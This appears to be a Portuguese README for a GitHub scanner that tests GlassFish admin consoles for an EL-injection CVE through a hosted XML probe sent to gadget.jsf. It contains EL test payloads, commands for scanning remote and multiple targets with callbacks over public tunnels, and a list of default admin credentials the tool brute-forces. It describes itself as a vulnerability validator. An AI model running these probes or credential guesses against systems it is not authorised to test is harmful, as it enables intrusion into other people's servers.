Se o XML contiver `#{7*7}` em um atributo `<ModulePrefs title="">`, o GlassFish o avalia no lado do servidor e retorna `49` — confirmando a execução de EL. Uma cadeia completa de RCE segue através do acesso da EL ao runtime Java.

Os registros públicos de consultoria atuais não publicam um limite de versão afetada ou corrigida. Portanto, este validador é baseado em prova: ele identifica o GlassFish e relata metadados de versão, mas não classifica um alvo como vulnerável apenas a partir de uma string de versão.

---

## Como Funciona

![Safe validation workflow for CVE-2026-2587](https://assets.kitploit.com/production/public/readmes/15612/d24fad85e9cfd24152f916ba71622ed442636e171c4e912ad5ffd7d973f9a6ba.png)

O caminho de validação seguro hospeda uma sonda XML benigna, envia uma solicitação autenticada de console de administrador para `gadget.jsf`, permite que o GlassFish busque esse XML da URL de retorno de chamada e verifica se o canary `<ModulePrefs title="">` avalia de `#{7*7}` para `49`.

**Ponto de injeção confirmado vs. não:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" />              <!-- returns 49 -->
<ModulePrefs description="#{7*7}" />        <!-- returns 49 -->

<!-- ❌ EL NOT evaluated -->
<Content type="html">
  <![CDATA[ #{7*7} ]]>                      <!-- returns #{7*7} literally -->
</Content>

**Conteúdo do repositório:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│   └── cve-2026-2587-validation-flow.png  ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py   ← main script
├── probe.xml                   ← ready-to-host static probe XML
├── targets.txt.example         ← multi-target file template
└── README.md

Inicia o GlassFish 7.0.15 com portas vinculadas apenas a `127.0.0.1` e `host.docker.internal` pré-configurado para que o container possa alcançar seu servidor XML local.

### Opção B — bare docker run```bash
docker run --rm \
  --name gf-cve-2026-2587-lab \
  -p 127.0.0.1:8080:8080 \
  -p 127.0.0.1:4848:4848 \
  --add-host=host.docker.internal:host-gateway \
  omnifish/glassfish:7.0.15

Verificar a acessibilidade da perspectiva do contêiner:```bash
docker exec gf-cve-2026-2587-lab \
  curl -s http://host.docker.internal:8000/probe.xml | head -5

| Output | Meaning |
|---|---|
| `CVE2587_TITLE_49_END` | **Vulnerável** — EL avaliado em `ModulePrefs title` |
| `CVE2587_BODY_49_END` | **Vulnerável** — EL avaliado no corpo CDATA |
| `CVE2587_TITLE_#{7*7}_END` | Não vulnerável / EL não avaliado |
| *(no output)* | GlassFish nunca buscou o XML — verifique a acessibilidade do callback |

> O corpo CDATA normalmente permanece bruto mesmo em builds vulneráveis; um resultado `TITLE` positivo por si só é suficiente para confirmar a descoberta.

### Validação automatizada contra o laboratório local```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

Saída após escrever em um arquivo:```
[+] probe XML written → probe.xml
    Expression  : #{7*7}
    Expects     : CVE2587_TITLE_49_END  in response title
    Host this file at a URL reachable by the target server.
    Then run:
      --xml-url http://YOUR_SERVER/probe.xml
      --prefix CVE2587 --left 7 --right 7

> `host.docker.internal` resolve para a máquina host de dentro do Docker.
> O contêiner GlassFish busca seu XML de sonda através deste endereço.

---

### Credenciais```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

Se um par válido for encontrado, é impresso na saída e registado na coluna `brute_creds` do CSV. Se todos os pares falharem, a verificação termina com `AUTH_REQUIRED`.

Algumas builds do GlassFish retornam `/login.jsf` após um POST de formulário válido. O validador não trata essa URL isoladamente como falha; ele confirma a sessão sondando o endpoint do gadget de administração e verificando se a resposta não é o formulário de login.

Lista de credenciais testadas (por ordem):

| Nome de Utilizador | Palavra-passe |
|---|---|
| `admin` | `admin` |
| `admin` | *(vazio)* |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |

---

### Remoto via Cloudflare Tunnel

Nenhuma conta necessária para um túnel rápido.

**Passo 1 — Instalar cloudflared:**```bash
# macOS
brew install cloudflared

# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb

**Passo 3 — Execute o validador:**

Use o mesmo nome de host gerado com `http://` para a URL de callback. Isso evita
falhas no trust-store da JVM em contêineres de laboratório GlassFish que não conseguem validar
a cadeia de certificados TLS do Cloudflare. Se você colar a URL `https://`
trycloudflare gerada, o validador reescreve esse callback para `http://` e exibe
um aviso. A barra final é opcional; o validador anexa automaticamente `/canary.xml` e
os caminhos XML específicos de cada teste.```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://random-words.trycloudflare.com \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

> `--prefix`, `--left`, `--right` devem corresponder aos valores dentro do seu arquivo XML hospedado
> para que o script saiba qual token avaliado procurar na resposta.

---

### Remoto via ngrok (último recurso)

Use ngrok apenas como última opção para alvos remotos. O nível gratuito pode bloquear
requisições do lado do servidor que não venham de um navegador, retornando uma página
de aviso HTML intermediária. Nesse caso, o GlassFish busca a página de aviso em vez do
seu `probe.xml`, e o validador pode classificar a resposta como uma página de login ou
resultado inconclusivo. Prefira Cloudflare Tunnel, um VPS ou um host web estático que
a JVM de destino possa buscar limpiamente, a menos que você tenha uma conta paga do ngrok
que ignore essa restrição.

**Passo 1 — Instalar ngrok:**```bash
# macOS
brew install ngrok

# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
  | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
  | sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok

**Passo 3 — Execute o validador:**```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url https://abc123.ngrok-free.app \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

---

## Uso — Múltiplos Alvos

### Formato do Arquivo de Alvos

O repositório inclui `targets.txt.example` como modelo. Copie e edite-o:```bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers

Executar contra todos os alvos:```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --insecure \
  --csv results.csv

> Contagens de threads recomendadas:
> - Laboratório local: até `10`
> - Alvos remotos pela internet: `3–5` (respeite limites de taxa)
> - Alvo único: `1` (padrão)

---

## Formatos de Saída

### Console

Saída legível por humanos padrão. Adicione `--verbose` para ver resultados por caso de teste.```
────────────────────────────────────────────────────────────────
  Target : https://localhost:4848
  Server : Eclipse GlassFish 7.0.15
  Version : Eclipse GlassFish 7.0.15  [asadmin-api]  (affected: UNKNOWN)
  Console : present  |  Gadget: present  |  Proof: evaluated
[+] VULNERABLE  —  9/10 test cases confirmed
[+]   TC-01 Basic multiply      #{7*7} → 49
[+]   TC-02 Addition            #{1337+2587} → 3924
[+]   TC-03 Large multiply      #{31337*271} → 8492327
    ...

    Remediation: restrict admin access and apply vendor-published fixed builds when available.

---

### CSV```bash
# Write to file
--csv results.csv

# Write to stdout (pipe-friendly)
--csv -

### JSON```bash
--json

Múltiplos alvos retornam um array JSON.

---

### Combinando Saídas

Todos os formatos de saída são independentes — combine livremente:```bash
# Console + CSV + JSON simultaneously
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --threads 5 --insecure --verbose \
  --csv results.csv \
  --json > results.json

Também aprende uma raiz de contexto GUI não padrão a partir dos cabeçalhos de redirecionamento `Location` e adiciona essa raiz antes do teste. Use valores repetíveis `--path` apenas quando quiser substituir esta lista de descoberta.

A detecção de versão é tentada a partir dos cabeçalhos de resposta, da API REST de gerenciamento, da página de login e, após um login bem-sucedido, de `/__asadmin/version.json` ou `/__asadmin/version`. Os dados de versão melhoram apenas o roteamento e o relatório; o scanner deixa `version_affected` como `UNKNOWN` até que registros de aviso público publiquem um limite de versão.

---

### Valores Canário Personalizados

Corresponda o validador a um XML artesanal usando `--prefix`, `--left`, `--right`. Necessário ao usar `--xml-url` com seu próprio arquivo hospedado.```bash
# Matches: <ModulePrefs title="MYTEST_TITLE_#{13*17}_END" />
# Expects: MYTEST_TITLE_221_END in response
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://TARGET:4848 \
  --xml-url http://YOUR_SERVER/custom.xml \
  --prefix MYTEST --left 13 --right 17 \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

---

## Casos de Teste

O validador executa 10 sondas EL distintas, cada uma confirmando uma capacidade diferente:

| # | Payload | Esperado | O que prova |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | Canário aritmético de base |
| TC-02 | `#{1337+2587}` | `3924` | Operador de adição |
| TC-03 | `#{31337*271}` | `8492327` | Multiplicação grande resistente a colisões |
| TC-04 | `#{9999-1337}` | `8662` | Operador de subtração |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | Parênteses aninhados / precedência de operadores |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | Condicional / ternário — fluxo de controle executado |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | Acesso a método de string |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | Chamadas de método encadeadas |
| TC-09 | `#{17 mod 5}` | `2` | Operador de palavra-chave EL |
| TC-10 | `#{100*100}` | `10000` | Confirmação aritmética adicional |

TC-06, TC-07 e TC-08 são os mais significativos — passar esses significa que o mecanismo EL executa **métodos de API de string e lógica condicional**, o precursor direto para a cadeia completa de RCE.

---

## Interpretação da Saída

| Status | Significado |
|---|---|
| `VULNERABLE` | Expressão EL avaliada — instância confirmada afetada |
| `VULNERABLE_UNAUTH` | Endpoint exposto sem autenticação — pior que o CVE base |
| `NOT_VULNERABLE` | Expressão refletida literalmente — EL não avaliada |
| `AUTH_REQUIRED` | Endpoint retornou página de login — verifique cookie ou credenciais |
| `INCONCLUSIVE` | Resposta recebida mas canário não encontrado — veja abaixo |
| `ERROR` | Requisição falhou — problema de rede / TLS |

`detected_version` e `version_source` são contexto de suporte. Como os
avisos públicos atualmente listam versões afetadas e corrigidas como desconhecidas, não trate
`version_affected=UNKNOWN` como um resultado negativo. A única constatação positiva é um
token de prova avaliado.

**Solução de problemas INCONCLUSIVO:**

| Sintoma | Causa | Correção |
|---|---|---|
| `XML hits: 0` | GlassFish nunca buscou seu XML | `--callback-url` não acessível a partir do alvo |
| `XML hits: 1+` mas sem correspondência | EL avaliado mas campo errado | Esperado para conteúdo CDATA |
| Redirecionamento de autenticação no meio da execução | Sessão expirada | Pegue um novo `JSESSIONID` do navegador |
| Login POST redireciona para `j_security_check` | Senha incorreta | Use `--cookie` em vez disso |

---

## Verificação Manual

Nenhum Python necessário:```bash
# Step 1 — create probe XML
mkdir probe && cat > probe/probe.xml << 'EOF'
<?xml version="1.0"?>
<Module>
  <ModulePrefs title="PROBE_#{7*7}_END"/>
  <Content type="html"><![CDATA[ok]]></Content>
</Module>
EOF

# Step 2 — serve it
python3 -m http.server 8000 --directory probe &

# Step 3 — hit the endpoint with your session cookie
curl -sk \
  -H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
  "https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
  | grep -oE 'PROBE_[^"< ]+_END'

# Vulnerable output:
# PROBE_#{7*7}_END    ← raw (CDATA — expected)
# PROBE_49_END        ← evaluated ✅ VULNERABLE

---

<p align="center">
  <a href="https://github.com/Bhanunamikaze">github.com/Bhanunamikaze</a>
</p>